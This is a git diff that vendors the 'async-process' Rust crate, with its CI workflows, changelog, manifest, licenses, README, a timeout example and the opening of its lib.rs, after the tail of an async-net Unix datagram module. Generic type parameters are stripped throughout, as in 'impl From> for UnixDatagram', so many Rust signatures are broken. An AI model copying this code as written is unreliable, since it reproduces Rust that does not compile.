documentation of [`Shutdown`]). + /// + /// # Examples + /// + /// ```no_run + /// use async_net::{Shutdown, unix::UnixDatagram}; + /// + /// # futures_lite::future::block_on(async { + /// let socket = UnixDatagram::unbound()?; + /// socket.shutdown(Shutdown::Both)?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn shutdown(&self, how: Shutdown) -> io::Result<()> { + self.inner.get_ref().shutdown(how) + } +} + +impl From> for UnixDatagram { + fn from(socket: Async) -> UnixDatagram { + UnixDatagram::new(Arc::new(socket)) + } +} + +impl TryFrom for UnixDatagram { + type Error = io::Error; + + fn try_from(socket: std::os::unix::net::UnixDatagram) -> io::Result { + Ok(UnixDatagram::new(Arc::new(Async::new(socket)?))) + } +} + +impl From for Arc> { + fn from(val: UnixDatagram) -> Self { + val.inner + } +} + +#[cfg(unix)] +impl AsRawFd for UnixDatagram { + fn as_raw_fd(&self) -> RawFd { + self.inner.as_raw_fd() + } +} + +#[cfg(windows)] +impl AsRawSocket for UnixDatagram { + fn as_raw_socket(&self) -> RawSocket { + self.inner.as_raw_socket() + } +} diff --git a/lib/malio/async-process/.github/dependabot.yml b/lib/malio/async-process/.github/dependabot.yml new file mode 100644 index 0000000..52f7945 --- /dev/null +++ b/lib/malio/async-process/.github/dependabot.yml @@ -0,0 +1,9 @@ +version: 2 +updates: + - package-ecosystem: cargo + directory: / + schedule: + interval: weekly + commit-message: + prefix: '' + labels: [] diff --git a/lib/malio/async-process/.github/workflows/ci.yml b/lib/malio/async-process/.github/workflows/ci.yml new file mode 100644 index 0000000..0ea14a5 --- /dev/null +++ b/lib/malio/async-process/.github/workflows/ci.yml @@ -0,0 +1,122 @@ +name: CI + +permissions: + contents: read + +on: + pull_request: + push: + branches: + - master + schedule: + - cron: '0 2 * * 0' + +env: + CARGO_INCREMENTAL: 0 + CARGO_NET_GIT_FETCH_WITH_CLI: true + CARGO_NET_RETRY: 10 + CARGO_TERM_COLOR: always + RUST_BACKTRACE: 1 + RUSTFLAGS: -D warnings + RUSTDOCFLAGS: -D warnings + RUSTUP_MAX_RETRIES: 10 + +defaults: + run: + shell: bash + +jobs: + fmt: + uses: smol-rs/.github/.github/workflows/fmt.yml@main + clippy: + uses: smol-rs/.github/.github/workflows/clippy.yml@main + with: + # Windows for windows module. + additional-targets: x86_64-pc-windows-msvc + security_audit: + uses: smol-rs/.github/.github/workflows/security_audit.yml@main + permissions: + checks: write + contents: read + issues: write + secrets: inherit + + test: + runs-on: ${{ matrix.os }} + strategy: + fail-fast: false + matrix: + os: [ubuntu-latest, windows-latest, macos-latest] + rust: [nightly, beta, stable] + steps: + - uses: actions/checkout@v4 + - name: Install Rust + # --no-self-update is necessary because the windows environment cannot self-update rustup.exe. + run: rustup update ${{ matrix.rust }} --no-self-update && rustup default ${{ matrix.rust }} + - name: Install cargo-hack and cargo-minimal-versions + uses: taiki-e/install-action@v2 + with: + tool: cargo-hack,cargo-minimal-versions + - run: cargo build --all --all-features --all-targets + - run: cargo hack build --feature-powerset --no-dev-deps + - run: cargo minimal-versions build --all --all-features + - run: cargo test + - run: cargo test + env: + RUSTFLAGS: ${{ env.RUSTFLAGS }} --cfg async_process_force_signal_backend + if: matrix.os != 'windows-latest' + + test-android: + runs-on: ubuntu-latest + strategy: + fail-fast: false + matrix: + rust: [nightly] + target: + - aarch64-linux-android + steps: + - uses: actions/checkout@v4 + - name: Install Rust + # --no-self-update is necessary because the windows environment cannot self-update rustup.exe. + run: rustup update ${{ matrix.rust }} --no-self-update && rustup default ${{ matrix.rust }} + - name: Install cross-compilation tools + uses: taiki-e/setup-cross-toolchain-action@v1 + with: + target: ${{ matrix.target }} + # On nightly and `-Z doctest-xcompile` is available, + # `$DOCTEST_XCOMPILE` is `-Zdoctest-xcompile`. + # + # On stable, `$DOCTEST_XCOMPILE` is not set. + # Once `-Z doctest-xcompile` is stabilized, the corresponding flag + # will be set to `$DOCTEST_XCOMPILE` (if it is available). + - run: cargo test --verbose $DOCTEST_XCOMPILE + + msrv: + runs-on: ${{ matrix.os }} + strategy: + fail-fast: false + matrix: + os: [ubuntu-latest, windows-latest] + steps: + - uses: actions/checkout@v4 + - name: Install cargo-hack + uses: taiki-e/install-action@cargo-hack + - run: cargo hack build --rust-version + target-compatibility: + runs-on: ubuntu-latest + strategy: + fail-fast: false + matrix: + rust: [nightly] + target: + - aarch64-unknown-nto-qnx800 + - x86_64-pc-nto-qnx800 + steps: + - uses: actions/checkout@v4 + - name: Install Rust + run: | + rustup update ${{ matrix.rust }} --no-self-update + rustup default ${{ matrix.rust }} + rustup component add rust-src --toolchain nightly + - name: Cargo check + run: cargo +nightly check -Zbuild-std --target ${{ matrix.target }} diff --git a/lib/malio/async-process/.github/workflows/release.yml b/lib/malio/async-process/.github/workflows/release.yml new file mode 100644 index 0000000..59fad1f --- /dev/null +++ b/lib/malio/async-process/.github/workflows/release.yml @@ -0,0 +1,22 @@ +name: Release + +permissions: + contents: write + +on: + push: + tags: + - v[0-9]+.* + +jobs: + create-release: + if: github.repository_owner == 'smol-rs' + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - uses: taiki-e/create-gh-release-action@v1 + with: + changelog: CHANGELOG.md + branch: master + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} diff --git a/lib/malio/async-process/.gitignore b/lib/malio/async-process/.gitignore new file mode 100644 index 0000000..96ef6c0 --- /dev/null +++ b/lib/malio/async-process/.gitignore @@ -0,0 +1,2 @@ +/target +Cargo.lock diff --git a/lib/malio/async-process/CHANGELOG.md b/lib/malio/async-process/CHANGELOG.md new file mode 100644 index 0000000..d414302 --- /dev/null +++ b/lib/malio/async-process/CHANGELOG.md @@ -0,0 +1,129 @@ +# Version 2.5.0 + +- Bump MSRV to 1.71. (#106) +- Add `Command::get_{args, envs, current_dir, program}` (#102) +- Update to `windows-sys` v0.61. (#104) +- Remove dependency on `async_lock` on Windows. (#103) + +# Version 2.4.0 + +- Add a new optional `tracing` feature. When enabled, this feature adds logging + to the implementation. By default it is disabled. (#101) +- Fix build failure when compiled together with old versions of `async-signal`. (#96) +- Fix build failure with minimal-versions. (#101) +- Update `windows-sys` to v0.60. (#99) + +# Version 2.3.1 + +- Update rustix to 1.0. (#94) + +# Version 2.3.0 + +- Use a more efficient backend on Windows. (#87) + +# Version 2.2.4 + +- Update to `windows-sys` v0.59. (#85) + +# Version 2.2.3 + +- Fix builds on Android by having Android unconditionally use the signal reaper + backend. (#80) + +# Version 2.2.2 + +- Fix a typo in the docs for `ChildStdin`. (#76) + +# Version 2.2.1 + +- Fix a compilation error for 32-bit operating systems by using a 32-bit zombie counter. (#75) + +# Version 2.2.0 + +- Port Linux to a new backend that tries to use `pidfd` if it is available. (#68) + +# Version 2.1.0 + +- Update `event-listener` to v5.1.0. (#67) + +# Version 2.0.1 + +- Update `event-listener` to v4.0.0. (#64) +- Update `windows-sys` to v0.52.0. (#65) + +# Version 2.0.0 + +- **Breaking:** Remove the `pre_exec` extension function on Unix. It is still available through the `From` implementation on `Command`. (#54) +- Add the `driver()` function, which allows the processes to be driven without a separate thread. (#52) +- Bump `async-io` to v2.0.0 and `async-channel` to v2.0.0. (#60) + +# Version 1.8.1 + +- Bump `async-signal` to v0.2.3. (#56) + +# Version 1.8.0 + +- Move from `signal-hook` to the `async-signal` crate. (#42) +- Reorganize the internals of this crate to be more coherent. (#46) +- Bump to `event-listener` v3.0.0. (#43) + +# Version 1.7.0 + +- Replace direct dependency on libc with rustix. (#31) +- Reduce the number of syscalls used in the `into_stdio` method. (#31) +- Add windows::CommandExt::raw_arg on Rust 1.62+. (#32) +- Update windows-sys to 0.48. (#39) + +# Version 1.6.0 + +- Switch from `winapi` to `windows-sys` (#27) +- Remove the dependency on the `once_cell` crate to restore the MSRV (#26) +- Fix build failure with minimal-versions (#28) + +# Version 1.5.0 + +- Implement `AsRawFd` for `ChildStd*` on Unix (#23) +- Implement I/O safety traits on Rust 1.63+ on Unix (#23) + +# Version 1.4.0 + +- `Command::spawn` and `Command::output` no longer unconfigure stdio streams (#20) +- Implement `From` for `Command` (#21) + +# Version 1.3.0 + +- Improve debug implementation of `Command` (#18) + +# Version 1.2.0 + +- Implement `AsRawHandle` on `Child` on `Windows` (#17) + +# Version 1.1.0 + +- Add `into_stdio` method to `ChildStdin`, `ChildStdout`, and `ChildStderr`. (#13) + +# Version 1.0.2 + +- Use `kill_on_drop` only when the last reference to `ChildGuard` is dropped. + +# Version 1.0.1 + +- Update `futures-lite`. + +# Version 1.0.0 + +- Update dependencies and stabilize. + +# Version 0.1.3 + +- Update dependencies. + +# Version 0.1.2 + +- Add Unix and Windows extensions. +- Add `Command::reap_on_drop()` option. +- Add `Command::kill_on_drop()` option. + +# Version 0.1.1 + +- Initial version diff --git a/lib/malio/async-process/Cargo.toml b/lib/malio/async-process/Cargo.toml new file mode 100644 index 0000000..c362e5a --- /dev/null +++ b/lib/malio/async-process/Cargo.toml @@ -0,0 +1,48 @@ +[package] +name = "async-process" +# When publishing a new version: +# - Update CHANGELOG.md +# - Create "v2.x.y" git tag +version = "2.5.0" +authors = ["Stjepan Glavina "] +edition = "2021" +rust-version = "1.71" +description = "Async interface for working with processes" +license = "Apache-2.0 OR MIT" +repository = "https://github.com/smol-rs/async-process" +keywords = ["process", "spawn", "command", "subprocess", "child"] +categories = ["asynchronous", "os"] +exclude = ["/.*"] + +[dependencies] +async-io = "2.3.0" +cfg-if = "1.0" +event-listener = "5.1.0" +futures-lite = "2.0.0" +tracing = { version = "0.1.40", default-features = false, optional = true } + +[target.'cfg(unix)'.dependencies] +async-lock = "3.0.0" +async-signal = "0.2.3" +rustix = { version = "1.0", default-features = false, features = ["std", "fs", "process"] } + +[target.'cfg(any(windows, target_os = "linux"))'.dependencies] +async-channel = "2.0.0" +async-task = "4.7.0" + +[target.'cfg(windows)'.dependencies] +blocking = "1.0.0" + +[lints.rust] +unexpected_cfgs = { level = "warn", check-cfg = ['cfg(async_process_force_signal_backend)'] } + +[dev-dependencies] +async-executor = "1.5.1" + +[target.'cfg(windows)'.dev-dependencies.windows-sys] +version = "0.61" +default-features = false +features = [ + "Win32_Foundation", + "Win32_System_Threading", +] diff --git a/lib/malio/async-process/LICENSE-APACHE b/lib/malio/async-process/LICENSE-APACHE new file mode 100644 index 0000000..16fe87b --- /dev/null +++ b/lib/malio/async-process/LICENSE-APACHE @@ -0,0 +1,201 @@ + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + +TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + +1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + +2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + +3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + +4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + +5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + +6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + +7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + +8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + +9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + +END OF TERMS AND CONDITIONS + +APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + +Copyright [yyyy] [name of copyright owner] + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. diff --git a/lib/malio/async-process/LICENSE-MIT b/lib/malio/async-process/LICENSE-MIT new file mode 100644 index 0000000..31aa793 --- /dev/null +++ b/lib/malio/async-process/LICENSE-MIT @@ -0,0 +1,23 @@ +Permission is hereby granted, free of charge, to any +person obtaining a copy of this software and associated +documentation files (the "Software"), to deal in the +Software without restriction, including without +limitation the rights to use, copy, modify, merge, +publish, distribute, sublicense, and/or sell copies of +the Software, and to permit persons to whom the Software +is furnished to do so, subject to the following +conditions: + +The above copyright notice and this permission notice +shall be included in all copies or substantial portions +of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF +ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED +TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A +PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT +SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY +CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION +OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR +IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER +DEALINGS IN THE SOFTWARE. diff --git a/lib/malio/async-process/README.md b/lib/malio/async-process/README.md new file mode 100644 index 0000000..f19ec7d --- /dev/null +++ b/lib/malio/async-process/README.md @@ -0,0 +1,71 @@ +# async-process + +[![Build](https://github.com/smol-rs/async-process/actions/workflows/ci.yml/badge.svg)]( +https://github.com/smol-rs/async-process/actions) +[![License](https://img.shields.io/badge/license-Apache--2.0_OR_MIT-blue.svg)]( +https://github.com/smol-rs/async-process) +[![Cargo](https://img.shields.io/crates/v/async-process.svg)]( +https://crates.io/crates/async-process) +[![Documentation](https://docs.rs/async-process/badge.svg)]( +https://docs.rs/async-process) + +Async interface for working with processes. + +This crate is an async version of `std::process`. + +## Implementation + +A background thread named "async-process" is lazily created on first use, which waits for +spawned child processes to exit and then calls the `wait()` syscall to clean up the "zombie" +processes. This is unlike the `process` API in the standard library, where dropping a running +`Child` leaks its resources. + +This crate uses [`async-io`] for async I/O on Unix-like systems and [`blocking`] for async I/O +on Windows. + +[`async-io`]: https://docs.rs/async-io +[`blocking`]: https://docs.rs/blocking + +## Examples + +Spawn a process and collect its output: + +```rust +use async_process::Command; + +let out = Command::new("echo").arg("hello").arg("world").output().await?; +assert_eq!(out.stdout, b"hello world\n"); +``` + +Read the output line-by-line as it gets produced: + +```rust +use async_process::{Command, Stdio}; +use futures_lite::{io::BufReader, prelude::*}; + +let mut child = Command::new("find") + .arg(".") + .stdout(Stdio::piped()) + .spawn()?; + +let mut lines = BufReader::new(child.stdout.take().unwrap()).lines(); + +while let Some(line) = lines.next().await { + println!("{}", line?); +} +``` + +## License + +Licensed under either of + + * Apache License, Version 2.0 ([LICENSE-APACHE](LICENSE-APACHE) or http://www.apache.org/licenses/LICENSE-2.0) + * MIT license ([LICENSE-MIT](LICENSE-MIT) or http://opensource.org/licenses/MIT) + +at your option. + +#### Contribution + +Unless you explicitly state otherwise, any contribution intentionally submitted +for inclusion in the work by you, as defined in the Apache-2.0 license, shall be +dual licensed as above, without any additional terms or conditions. diff --git a/lib/malio/async-process/examples/timeout.rs b/lib/malio/async-process/examples/timeout.rs new file mode 100644 index 0000000..babec17 --- /dev/null +++ b/lib/malio/async-process/examples/timeout.rs @@ -0,0 +1,80 @@ +//! An example of running a `Command` with a timeout. + +use async_io::Timer; +use async_process::{Command, Stdio}; +use futures_lite::{future, prelude::*}; +use std::io; + +fn main() -> io::Result<()> { + async_io::block_on(async { + // Spawn a a command of your choice. + let mut child = Command::new("sleep") + .arg("3") + .stdout(Stdio::piped()) + .stderr(Stdio::piped()) + .spawn()?; + + // Run a future to drain the stdout of the child. + // We can't use output() here because it would be cancelled along with the child when the timeout + // expires. + let mut stdout = String::new(); + let drain_stdout = { + let buffer = &mut stdout; + let mut stdout = child.stdout.take().unwrap(); + + async move { + stdout.read_to_string(buffer).await?; + + // Wait for the child to exit or the timeout. + future::pending().await + } + }; + + // Run a future to drain the stderr of the child. + let mut stderr = String::new(); + let drain_stderr = { + let buffer = &mut stderr; + let mut stderr = child.stderr.take().unwrap(); + + async move { + stderr.read_to_string(buffer).await?; + + // Wait for the child to exit or the timeout. + future::pending().await + } + }; + + // Run a future that waits for the child to exit. + let wait = async move { + child.status().await?; + + // Child exited. + io::Result::Ok(false) + }; + + // Run a future that times out after 1 second. + let timeout_s = 1; + let timeout = async move { + Timer::after(std::time::Duration::from_secs(timeout_s)).await; + + // Timed out. + Ok(true) + }; + + // Run the futures concurrently. + // Note: For larger scale programs than this you should probably spawn each individual future on + // a separate task in an executor. + let timed_out = drain_stdout.or(drain_stderr).or(wait).or(timeout).await?; + + if timed_out { + println!("The child timed out."); + } else { + println!("The child exited."); + } + + println!("Stdout:\n{stdout}"); + println!("Stderr:\n{stderr}"); + + Ok(()) + }) +} diff --git a/lib/malio/async-process/src/lib.rs b/lib/malio/async-process/src/lib.rs new file mode 100644 index 0000000..0a48859 --- /dev/null +++ b/lib/malio/async-process/src/lib.rs @@ -0,0 +1,1311 @@ +//! Async interface for working with processes. +//! +//! This crate is an async version of [`std::process`]. +//! +//! # Implementation +//! +//! A background thread named "async-process" is lazily created on first use, which waits for +//! spawned child processes to exit and then calls the `wait()` syscall to clean up the "zombie" +//! processes. This is unlike the `process` API in the standard library, where dropping a running +//! `Child` leaks its resources. +//! +//! This crate uses [`async-io`] for async I/O on Unix-like systems and [`blocking`] for async I/O +//! on Windows. +//! +//! [`async-io`]: https://docs.rs/async-io +//! [`blocking`]: https://docs.rs/blocking +//! +//! # Examples +//! +//! Spawn a process and collect its output: +//! +//! ```no_run +//! # futures_lite::future::block_on(async { +//! use async_process::Command; +//! +//! let out = Command::new("echo").arg("hello").arg("world").output().await?; +//! assert_eq!(out.stdout, b"hello world\n"); +//! # std::io::Result::Ok(()) }); +//! ``` +//! +//! Read the output line-by-line as it gets produced: +//! +//! ```no_run +//! # futures_lite::future::block_on(async { +//! use async_process::{Command, Stdio}; +//! use futures_lite::{io::BufReader, prelude::*}; +//! +//! let mut child = Command::new("find") +//! .arg(".") +//! .stdout(Stdio::piped()) +//! .spawn()?; +//! +//! let mut lines = BufReader::new(child.stdout.take().unwrap()).lines(); +//! +//! while let Some(line) = lines.next().await { +//! println!("{}", line?); +//! } +//! # std::io::Result::Ok(()) }); +//! ``` + +#![warn(missing_docs, missing_debug_implementations, rust_2018_idioms)] +#![doc( + html_favicon_url = "https://raw.githubusercontent.com/smol-rs/smol/master/assets/images/logo_fullsize_transparent.png" +)] +#![doc( + html_logo_url = "https://raw.githubusercontent.com/smol-rs/smol/master/assets/images/logo_fullsize_transparent.png" +)] + +use std::convert::Infallible; +use std::ffi::OsStr; +use std::fmt; +use std::path::Path; +use std::pin::Pin; +use std::sync::atomic::{AtomicUsize, Ordering}; +use std::sync::{Arc, Mutex, OnceLock}; +use std::task::{Context, Poll}; +use std::thread; + +#[cfg(unix)] +use async_io::Async; +#[cfg(unix)] +use std::os::unix::io::{AsFd, AsRawFd, BorrowedFd, OwnedFd, RawFd}; + +#[cfg(windows)] +use blocking::Unblock; + +use futures_lite::{future, io, prelude::*}; + +#[doc(no_inline)] +pub use std::process::{ExitStatus, Output, Stdio}; + +#[cfg(unix)] +pub mod unix; +#[cfg(windows)] +pub mod windows; + +mod reaper; + +mod sealed { + pub trait Sealed {} +} + +#[cfg(test)] +static DRIVER_THREAD_SPAWNED: std::sync::atomic::AtomicBool = + std::sync::atomic::AtomicBool::new(false); + +/// The zombie process reaper. +/// +/// This structure reaps zombie processes and emits the `SIGCHLD` signal. +struct Reaper { + /// Underlying system reaper. + sys: reaper::Reaper, + + /// The number of tasks polling the SIGCHLD event. + /// + /// If this is zero, the `async-process` thread must be spawned. + drivers: AtomicUsize, + + /// Number of live `Child` instances currently running. + /// + /// This is used to prevent the reaper thread from being spawned right as the program closes, + /// when the reaper thread isn't needed. This represents the number of active processes. + child_count: AtomicUsize, +} + +impl Reaper { + /// Get the singleton instance of the reaper. + fn get() -> &'static Self { + static REAPER: OnceLock = OnceLock::new(); + + REAPER.get_or_init(|| Reaper { + sys: reaper::Reaper::new(), + drivers: AtomicUsize::new(0), + child_count: AtomicUsize::new(0), + }) + } + + /// Ensure that the reaper is driven. + /// + /// If there are no active `driver()` callers, this will spawn the `async-process` thread. + #[inline] + fn ensure_driven(&'static self) { + if self + .drivers + .compare_exchange(0, 1, Ordering::SeqCst, Ordering::Acquire) + .is_ok() + { + self.start_driver_thread(); + } + } + + /// Start the `async-process` thread. + #[cold] + fn start_driver_thread(&'static self) { + #[cfg(test)] + DRIVER_THREAD_SPAWNED + .compare_exchange(false, true, Ordering::SeqCst, Ordering::SeqCst) + .unwrap_or_else(|_| unreachable!("Driver thread already spawned")); + + thread::Builder::new() + .name("async-process".to_string()) + .spawn(move || { + let driver = async move { + // No need to bump self.drivers, it was already bumped in ensure_driven. + let guard = self.sys.lock().await; + self.sys.reap(guard).await + }; + + #[cfg(unix)] + async_io::block_on(driver); + + #[cfg(not(unix))] + future::block_on(driver); + }) + .expect("cannot spawn async-process thread"); + } + + /// Register a process with this reaper. + fn register(&'static self, child: std::process::Child) -> io::Result { + self.ensure_driven(); + self.sys.register(child) + } +} + +cfg_if::cfg_if! { + if #[cfg(windows)] { + // Wraps a sync I/O type into an async I/O type. + fn wrap(io: T) -> io::Result> { + Ok(Unblock::new(io)) + } + } else if #[cfg(unix)] { + /// Wrap a file descriptor into a non-blocking I/O type. + fn wrap(io: T) -> io::Result> { + Async::new(io) + } + } +} + +/// A guard that can kill child processes, or push them into the zombie list. +struct ChildGuard { + inner: reaper::ChildGuard, + reap_on_drop: bool, + kill_on_drop: bool, + reaper: &'static Reaper, +} + +impl ChildGuard { + fn get_mut(&mut self) -> &mut std::process::Child { + self.inner.get_mut() + } +} + +// When the last reference to the child process is dropped, push it into the zombie list. +impl Drop for ChildGuard { + fn drop(&mut self) { + if self.kill_on_drop { + self.get_mut().kill().ok(); + } + if self.reap_on_drop { + self.inner.reap(&self.reaper.sys); + } + + // Decrement number of children. + self.reaper.child_count.fetch_sub(1, Ordering::Acquire); + } +} + +/// A spawned child process. +/// +/// The process can be in running or exited state. Use [`status()`][`Child::status()`] or +/// [`output()`][`Child::output()`] to wait for it to exit. +/// +/// If the [`Child`] is dropped, the process keeps running in the background. +/// +/// # Examples +/// +/// Spawn a process and wait for it to complete: +/// +/// ```no_run +/// # futures_lite::future::block_on(async { +/// use async_process::Command; +/// +/// Command::new("cp").arg("a.txt").arg("b.txt").status().await?; +/// # std::io::Result::Ok(()) }); +/// ``` +pub struct Child { + /// The handle for writing to the child's standard input (stdin), if it has been captured. + pub stdin: Option, + + /// The handle for reading from the child's standard output (stdout), if it has been captured. + pub stdout: Option, + + /// The handle for reading from the child's standard error (stderr), if it has been captured. + pub stderr: Option, + + /// The inner child process handle. + child: Arc>, +} + +impl Child { + /// Wraps the inner child process handle and registers it in the global process list. + /// + /// The "async-process" thread waits for processes in the global list and cleans up the + /// resources when they exit. + fn new(cmd: &mut Command) -> io::Result { + // Make sure the reaper exists before we spawn the child process. + let reaper = Reaper::get(); + let mut child = cmd.inner.spawn()?; + + // Convert sync I/O types into async I/O types. + let stdin = child.stdin.take().map(wrap).transpose()?.map(ChildStdin); + let stdout = child.stdout.take().map(wrap).transpose()?.map(ChildStdout); + let stderr = child.stderr.take().map(wrap).transpose()?.map(ChildStderr); + + // Bump the child count. + reaper.child_count.fetch_add(1, Ordering::Relaxed); + + // Register the child process in the global list. + let inner = reaper.register(child)?; + + Ok(Child { + stdin, + stdout, + stderr, + child: Arc::new(Mutex::new(ChildGuard { + inner, + reap_on_drop: cmd.reap_on_drop, + kill_on_drop: cmd.kill_on_drop, + reaper, + })), + }) + } + + /// Returns the OS-assigned process identifier associated with this child. + /// + /// # Examples + /// + /// ```no_run + /// # futures_lite::future::block_on(async { + /// use async_process::Command; + /// + /// let mut child = Command::new("ls").spawn()?; + /// println!("id: {}", child.id()); + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn id(&self) -> u32 { + self.child.lock().unwrap().get_mut().id() + } + + /// Forces the child process to exit. + /// + /// If the child has already exited, an [`InvalidInput`] error is returned. + /// + /// This is equivalent to sending a SIGKILL on Unix platforms. + /// + /// [`InvalidInput`]: `std::io::ErrorKind::InvalidInput` + /// + /// # Examples + /// + /// ```no_run + /// # futures_lite::future::block_on(async { + /// use async_process::Command; + /// + /// let mut child = Command::new("yes").spawn()?; + /// child.kill()?; + /// println!("exit status: {}", child.status().await?); + /// # 